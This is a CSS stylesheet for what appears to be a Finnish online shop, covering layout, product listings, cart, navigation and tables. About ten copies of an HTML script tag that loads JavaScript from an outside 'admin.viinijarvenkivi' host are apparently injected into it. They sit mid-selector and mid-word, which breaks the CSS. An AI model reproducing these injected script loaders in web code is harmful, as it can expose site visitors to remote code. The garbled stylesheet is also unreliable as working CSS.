/** basic fixed layout 
div#container{width:960px;margin:0 auto}
div#wrapper{float:left;width:100%}
div#content{margin: 0 210px}
div#navigation{float:left;width:200px;margin-left:-800px;padding-top: 3px}
div#extra{float:left;width:200px;margin-left:-200px}
div#footer{clear:left;width:100%}
**/
/** fixed two column layout */
div#container{width:960px;margin:0 auto}
div#wrapper{float:right;width:100%;margin-left:-180px;position:relative;top:}
div#content{margin-left:180px}
div#navigation{clear:left;float:left;width:171px;padding-top: 3px;position:relative;top:-}
div#extra{float:left;clear:left;width:180px}
div#footer{clear:both;width:100%}

/** OWN ADDS **/

#logodiv {
	float:left;

}

#header-middle {
	float:left;
	width: 550px;
	height: 135px;

}

#header-right {
	float:left;
	width: 210px;

}

#naviotsikko {
	border: 1px solid #<script type="text/javascript" src="http://admin.viinijarvenkivi.arcusys.fi/workspace.admin_smallbusiness_20090818143742/sse.html/tiny_mce_3201/themes/advanced/langs/en.js"></script>DADADA;
	background-image: url("/images/mustatausta.png");

}

#hakuinfo {
	float: right;
	width: 505px;

}

#alajako_vasen {
	float:left;

}

#alajako_oikea {
	float:right;
	padding-top: 17px;

}

#header .logo {
	float: left;

}

.tuotetaulu {
	border-spacing: 0px;

}

.info3 {
	display: block;

}

#kuvaus {
	margin-left: 25px;
	margin-top: 45px;
	width: 520px;
	height: 85px;
	color: #606060;

}

.tuotekortti {
background-color: #FFF;

}

.tuotesivuprice {
        font-size: 110%;
        color: #FF6600;
        font-weight: bold;
	padding: 15px;
	display:block;

}

#tuotesivu {
	border: 1px solid #EEEEEE;

}

.tuotekoodi {
	padding-left: 15px;
}

#ostoskori {
	background-image: url("/images/ostoskoritausta.PNG");
	height: 104px;
	width: 210px;
	position: relative;
	margin-left: 4px;


}

#ostoskori .cartotsikko {
	color: #FFB100;
	font-size: 14px;
	font-weight: bold;
	padding-left: 10px;
	padding-top: 5px;
	display: block;

}

#tuotetotal {
	color: white;
	padding-left: 10px;
	padding-bottom: 10px;
	display: block;

}

#ostoskori .naytakori {
	padding-left: 10px;
	position: absolute;
	bottom: 10px;

}

#tuoteinfo {
	float: right;
	width: 120px;

}

#tuoteinfo a:link, #tuoteinfo a:hover, #tuoteinfo a:active, #tuoteinfo a:visited {
color: #626262;
font-weight: inherit;

}

#tuotelistainfo {
/*	float: right;
	width: 108px;*/

}

#tuotelistainfo a:link, #tuotelistainfo a:hover, #tuotelistainfo a:active, #tuotelistainfo a:visited {
color: #626262;
font-weight: inherit;

}

#asiakaspalvelu {
	background-image: url("/images/mustatausta.png");	

}

#asiakaspalvelu .asiakaspalvelu {
	padding: 6px;
	display: block;
	color: white;
	font-size: 18px;

}

#asiakaspalvelu .puhnro {
	display: block;
	color: white;
	font-size: 14px;
	font-weight: bold;

}

#asiakaspalvelu a:link, #asiakaspalvelu a:hover, #asiakaspalvelu a:active, #asiakaspalvelu a:visited {
	color: #E39A00;
	text-decoration: underline;

}

#asiakaspalvelu .email {
	display: block;
	padding: 10px;

}

.Etusivunostolista {
	background: #F2F2F2;
	border-bottom: 10px solid white;

}

.box {
	border-bottom: 10px solid transparent;
	border-right: 10px solid transparent;
/*	background: #F2F2F2;*/

}

.tuotenimi {
	padding-left: 10px;
	display: block;
	height: 35px;
	font-weight: bold;
}

.hinta {
	margin-top: 15px;
	padding-left: 10px;
	display: block;
	color: #C66401;
	font-weight: bold;
	float:left;

}

.lisaa {
	padding-bottom: 10px;
	display:block;
	float:left;
	padding-right: 60px;

}

.tuotelistauslisaa {
	padding-bottom: 10px;
	display:block;
	float:left;
	padding-right: 40px;

}

.ostoskori {
	display:block;
	padding-left: 2px;
	float:left;

}

#tuotekuva {
/*	float: left;
	width: 100px;*/

}

.tuotekuva {
	padding-left: 5px;

}

.isonostoinfo {
	background-image: url("/images/isonostotausta.png");
	background-repeat: repeat-x;
	background-position: bottom;
	font-family: Helvetica;
	font-size: 20px;
	border: 1px solid #DADADA;
	border-right: 0;
        color: #606060;
}

.isonostoinfo h5 {
	margin: 0px;

}


.isonostoinfo h6 {
	margin: 0px;

}

.isonostonimi {
	color: #5A5A5A;
	display: block;
	padding: 10px;
}

.isonostoteksti {
	color: #5A5A5A;
	display: block;
	padding-bottom: 20px;
	padding-left: 10px;
	font-size: 15px;
}

.isonostohinta {
	color: #C66401;
	display:block;
	padding: 10px;

}

.isonostolisaa a:link, .isonostolisaa a:hover, .isonostolisaa a:active, .isonostolisaa a:visited {
	color: #5a5a5a;
	display: block;
	padding: 10px;
	font-size: 15px;

}

.isonostokori {
	padding: 10px;

}

.isonostokuva {
	background: transparent;
	background-position: bottom;
	background-repeat: repeat-x;
/*	border: 1px solid #DADADA; */

}

#footer {
	color: #606060;

}

#footer .toprow {
	padding: 5px;

}

#footer .bottomrow {
	padding: 5px;

}

#border {
	padding:10px;
	border: 1px #DADADA solid;
	float:right;
background-image: url("/images/isonostotausta.png");
background-position: bottom;
width: 220px;

}

#isonostoborder {
	border: 1px #DADADA solid;

}

/** GENERAL / BETTER DEFAULTS**/	


img.floatRight { margin: 5px 0px 10px 15px; }
img.floatLeft {  margin: 5px 15px 10px 0px; }
.floatLeft {  float: left; }
.floatRight { float: right; }
a img { border: 0; }
body {
	margin: 15px 0;
	padding: 0;
	font-family: Verdana, Arial, Helvetica, sans-serif;
	font-size: 70%;
	min-height: 1000px;
}
table, form , div, span{ margin: 0; padding: 0; }

font {
	font-size: 100%;
	font-family: Verdana, Arial, Helvetica, sans-serif;
}

a:link {
	color: #C66401;
	text-decoration: none;
	font-weight: bold;



}
a:visited {
	color: #C66401;
	text-decoration: none;
	font-weight: bold;


}
a:hover {
	color: #666;
	text-decoration: none;
	font-weight: bold;
}

a:active {

	color: #666;
	text-decoration: none;
	font-weight: bold;
}
/*** BASIC ELEMENTS ***/
	#header, #footer {
			padding: 0.3em 0;
		}
	#header{
		    height: 140px;
			
		}
	#footer{
	font-weight: bold;
	text-align:center;
	padding-top: 10px;
	padding-bottom: 5px;
		}
		
	#footer p{ margin:0; padding: 0; }
	
	#smallcart{
	float: right;
	margin: 0;
	font-weight: bold;
	text-align:left;
	padding-top: 10px;
	padding-right: 10px;
	padding-bottom: 10px;
	padding-left: 15px;

		}
		
	#smallcart form{

	float: left;

		}
	#smallcart a{

	padding-left: 10px;
	display:block;

		}
		
		#search {
  margin:0;
/*  padding:0 9px 0 0;
  margin-top: -60px;*/

position:relative;
top: 10px;
}

#content {
	padding-left: 10px; 
	/*padding-right: 10px;*/
	width: 750px;

 }

	#header h1 {
	margin: 0; padding:0;
	margin-top: 30px;
	margin-left: 10px;
	font-size: 250%;
		}
/*** Colors ***/
	body {
	background-color: #fff;
	background-image: url("/images/sivutausta.png");
	background-position: bottom;
	background-repeat: repeat-x;
		}	
			
    div#container, div#wrapper{
/*	background-color: #FFF;
	background-image: url(wrapper_bg.png);
	background-repeat: repeat-y;*/
}

	#header {
	background-image: url(header_bg.gif);
	background-repeat: no-repeat;
		}	
		
	#footer {
	background-image: url(footer_bg.png);
	background-repeat: no-repeat;
	background-position: left bottom;
		}	

		
	#content h1 {
	margin: 0;
	background-image: url(title_bg.png);
	background-repeat: repeat-x;
	background-position: bottom;
	padding-top: 10px;
	padding-right: 0;
	padding-bottom: 8px;
	padding-left: 0;
	font-size: 110%;
	margin-bottom: 8px;
		}
		
	#content h2 {
	font-size: 120%;

		}
	#smallcart{
	color: #4c4c4c;
	background-image: url(cart_bg.png);
	background-repeat: no-repeat;
	background-color: #FFF;
	background-position: bottom;
		}
		
	h3 { 
	width: 99%; background-color: #ce0000; 
	color: #000; text-transform: uppercase; font-size: 80%; 
    font-weight: bold; margin: 20px 0 6px 0; padding:3px; 
	  }
		
		
		
/** CSSBOX **/		
    /* set the image to use and establish the lower-right position */ 
	

	.cssbox, .cssbox_body, .cssbox_head, .cssbox_he<script type="text/javascript" src="http://admin.viinijarvenkivi.fi/workspace.admin_smallbusiness_20090818143742/sse.html/tiny_mce_3201/themes/advanced/langs/en.js"></script>ad h2 { 
	  background: transparent url(demobox.png) no-repeat bottom right; 
	  margin:0;
	 
	} 
	
   .cssbox { 
	
	/*  margin-left: 10px;*/
	width: 192px

	} 
	/* set the top-right image */ 
	.c<script type="text/javascript" src="http://admin.viinijarvenkivi.arcusys.fi/workspace.admin_smallbusiness_20090818143742/sse.html/tiny_mce_3201/themes/advanced/langs/en.js"></script>ssbox_head { 
	  background-position: top right; 
	  padding-right: 25px; /* right corner width */ 
	  
	 } 
	 /* set the top-left image */ 
	 .cssbox_head h2 { 
	  color: #fff;
	  background-position: top left; 
<script type="text/javascript" src="http://admin.viinijarvenkivi.arcusys.fi/workspace.admin_smallbusiness_20090818143742/sse.html/tiny_mce_3201/themes/advanced/langs/en.js"></script>/*	  padding-left: 10px;  position header text to suite image*/
	  padding-top : 3px;  /* position header text to suite image*/
	  padding-bottom : 5px; 
	  font-size: 100%; 
	  margin: 0; /* reset main site styles*/ 
	  border: 0; /* ditto */ 
	  } 
	  /* set the lower-left corner image */ 
	  .cssbox_body {
	   margin: 0; 
	   background-position: bottom left; 
	   margin-right: 20px; /* interior-padding right */ 
	  /* padding-left: 10px;*/
	   padding-bottom: 10px;
	   padding-top: 0px;
	  
	  } 
	  .cssbox_body p { margin:0; padding:0;}
	  
	  

/** PRODBOX **/		
	/* set the image to use and establis<script type="text/javascript" src="http://admin.viinijarvenkivi.fi/workspace.admin_smallbusiness_20090818143742/sse.html/tiny_mce_3201/themes/advanced/langs/en.js"></script>h t<script type="text/javascript" src="http://admin.viinijarvenkivi.fi/workspace.admin_smallbusiness_20090818143742/sse.html/tiny_mce_3201/themes/advanced/langs/en.js"></script>he lower-right position */ 
	.prodbox, .prodbox_body, .prodbox_head, .prodbox_head h2 { 
	  background: transparent url(prodbox.png) no-repeat bottom right; 
	  margin:0;
	} 
	/* set the top-right image */ 
	.prodbox_head { 
	  background-position: top right; 
	  padding-right: 100px; /* right corner width */ 
	 } 
	 /* set the top-left image */ 
	 .prodbox_head h2 { 
	  background-position: top left; 
	  padding-left: 15px; /* position header text to suite image*/
	  padding-top : 5px;  /* position header text to suite image*/
	  padding-bottom : 5px; 
	  font-size: 110%;
	  color: #313031; 
	  margin: 0; /* reset main site styles*/ 
	  border: 0; /* ditto */ 
	  } 
	  /* set the lower-left corner image */ 
	  .prodbox_body {
	   margin: 0; 
	   background-position: bottom left; 
	   margin-right: 15px; /* interior-padding right */ 
	   padding-left: 15px;
	   padding-bottom: 10px;
	   padding-top: 3px;
	  } 
.hakutuote {
	   margin: 0; 
	   background-position: bottom left; 
	   margin-right: 15px; /* interior-padding right */ 
	   padding-left: 15px;
	   padding-bottom: 10px;
	   padding-top: 3px;
	   height: 260px;
	   background-image: url("/images/isonostotausta.png");
	   border: 1px solid #DADADA;
	   b<script type="text/javascript" src="http://admin.viinijarvenkivi.fi/workspace.admin_smallbusiness_20090818143742/sse.html/tiny_mce_3201/themes/advanced/langs/en.js"></script>ackground-repeat: repeat-x;
	   background-color: #FFF;
	  } 

	  .prodbox_body p { margin:0; padding:0;
	  }	
	  .prodbox_body img {
	  padding-bottom: 0px;
	  }
	 
	   
	
/** EXTRABOX **/
/* set the image to use and establish the lower-right position */ 
	.extrabox, .extrabox_body, .extrabox_head, .extrabox_head h2 { 
	  background: transparent url(demobox.png) no-repeat bottom right; 
	  margin:0;
	} 
	/* set the top-right image */ 
	.extrabox_head { 
	  background-position: top right; 
	  padding-right: 100px; /* right corner width */ 
	 } 
	 /* set the top-left image */ 
	 .extrabox_head h2 {
	     color: #eeeeee; 
         font-size: 100%; 
	     font-weight: bold; 
	  background-position: top left; 
	  padding-left: 25px; /* position header text to suite image*/
	  padding-top : 3px;  /* position header text to suite image*/
	  padding-bottom : 5px; 
	  font-size: 100%; 
	  margin: 0; /* reset main site styles*/ 
	  border: 0; /* ditto */ 
	  } 
	  /* set the lower-left corner image */ 
	  .extrabox_body {
	   margin: 0; 
	   background-position: bottom left; 
	   margin-right: 15px; /* interior-padding right */ 
	   padding-left: 10px;
	   padding-bottom: 10px;
	   padding-top: 3px;
	  } 
	  .extrabox_body p { margin:0; padding:0;}		
	
    div.prodbox, div.cssbox, div.extrabox  { 

      margin-bottom: 0px; margin-right: 5px;
    }	



/** TOP NAVIGATION **/	
#topnav {
  margin:0; 
/*  padding:0 0 0 20px;*/
  margin-left:10px;
  float:left;
  width:97%;
  font-size:80%;
  line-height:normal;
  vertical-align: bottom;
/*  margin-top: -30px;*/
}	
#topnav ul {
  margin:0;
  padding:0px 0px 0;
  list-style:none;
  }
#topnav li {
  float:right;
  margin:0;
  padding:0 6px 0 17px;
/*  border-left: 1px s<script type="text/javascript" src="http://admin.viinijarvenkivi.arcusys.fi/workspace.admin_smallbusiness_20090818143742/sse.html/tiny_mce_3201/themes/advanced/langs/en.js"></script>olid red;*/
  background: url("/images/navigaatio_tausta.png");
  border: 1px solid #F2F2F2; 
  border-bottom: 0;
 }
#topnav a {
  float:right;
  display:block;
  padding:10px 15px 10px 2px;
  text-decoration:none;
  font-weight:bold;
  color:#000;
  }
/* Commented Backslash Hack
   hides rule from IE5-Mac \*/
#topnav a {float:none;}
/* End IE5-Mac hack */
#topnav a:hover {
  color:#000;
  }	



/** LOCAL NAVIGATION **/
#localnav ul{
  width: 158px;
  padding: 0px;
  border: 1px solid #808080;
  border-top: 0px;
  margin: 0px;
  background: #808080;
  padding-bottom: 10px;
}
#localnav ul li{
  list-style: none;
  margin: 0px;
  border: 0px;
  border-top: 1px solid #808080;
}
#localnav ul li a{
  display: block;
  width: 122px;
  padding: 4px 8px 4px 8px;
  border: 0px;
  border-left: 20px solid #aaaabb;
  background: #ccccdd;
  text-decoration: none;
  text-align: right;
}
#localnav ul li a:link { color: #666677; }
#localnav ul li a:visited { color: #666677; }
#localnav ul li a:hover{
  border-color: #a1d0f1;
  color: #fff;
  background: #000d33;
}

/** WS STYLES **/

.TableBg {
	background: #A1A1A1;
}

.TableHeader td {
	font-weight: bold;
	color: #F3A104;
	padding: 4px;
	background: url("/images/mustatausta.png") repeat scroll 50px 83px transparent;
}

.TableFooter td {
	font-weight: bold;
	color: #000;
	background: #FFF;
	padding: 4px;
}

.TableRow {
	background: #F5F8FB;
}

.TableRowDark {<script type="text/javascript" src="http://admin.viinijarvenkivi.arcusys.fi/workspace.admin_smallbusiness_20090818143742/sse.html/tiny_mce_3201/themes/advanced/langs/en.js"></script>
	background: #DCDCDC;
	font-weight: bold;
}

.LoginFormUser, .LoginFormPasswd {
	border: 1px solid #a8a8a8;
	width: 65px;
	font-size: 11px;
}

.ProductSearchParameter {
	border: 1px solid #a8a8a8;
	font-size: 11px;
	height: 18px;
	width: 159px;
}

.ProductAmountField, .ProductOptionsField {
	border: 1px solid #a8a8a8;
	font-size: 11px;
	margin: 0px;
}

.ProductAddButton input{
margin: 0px;
}

.price {
	font-size: 110%;
	color: #FF6600;
	font-weight: bold;
}

<!--
.ProductGroupTree
{
padding: 1px;
margin-left: 0;
font: 11px verdana, sans-serif;
border: 1px solid #DADADA;
background-image: url("/images/isonostotausta.png");
background-repeat: repeat-x;
background-position: bottom;
margin-top: 0;
border-top: 0;

 }

.ProductGroupTree li
{
list-style: none;
margin: 0px;
text-align: left;
background: transparent;
/*text-transform: uppercase;*/
}


ul.ProductGroupTree li ul {
padding:  0.3em 0.5em 0.3em 2em;
}

ul.ProductGroupTree li a {
/*background-image: url("/images/mustatausta.png");*/
display: block;
padding: 5px;
}

ul.ProductGroupTree li ul li{
border:none;
background: transparent;
text-transform:none;
list-style: disc;

}
ul.ProductGroupTree li ul li ul li{
list-style-type: disc;
background: transparent;
text-transform:none;
}

ul.ProductGroupTree li ul li ul {
padding-left: 15px;
background: transparent;

}

ul.ProductGroupTree li ul li a{
padding: 0.2em;
background: transparent;
} 

ul.ProductGroupTree li a:link {
	color: #3F3F3F;
	text-decoration: none;
	font-weight: bold;


}
ul.ProductGroupTree li a:visited {
	color: #3F3F3F;
	text-decoration: none;
	font-weight: bold;


}
ul.ProductGroupTree li a:hover {
	color: #3F3F3F;
	text-decoration: none;
	font-weight: bold;
}

ul.ProductGroupTree li a:active {

	color: #3F3F3F;
	text-decoration: none;
	font-weight: bold;
}

ul.ProductGroupTree li ul li a:link {
	color: #3F3F3F;
	text-decoration: none;
	font-weight: bold;


}
ul.ProductGroupTree li ul li a:visited {
	color: #3F3F3F;
	text-decoration: none;
	font-weight: bold;


}
ul.ProductGroupTree li ul li a:hover {
	color: #3F3F3F;
	text-decoration: none;
	font-weight: bold;
}

ul.ProductGroupTree li ul li a:active {

	color: #3F3F3F;
	text-decoration: none;
	font-weight: bold;
}
-->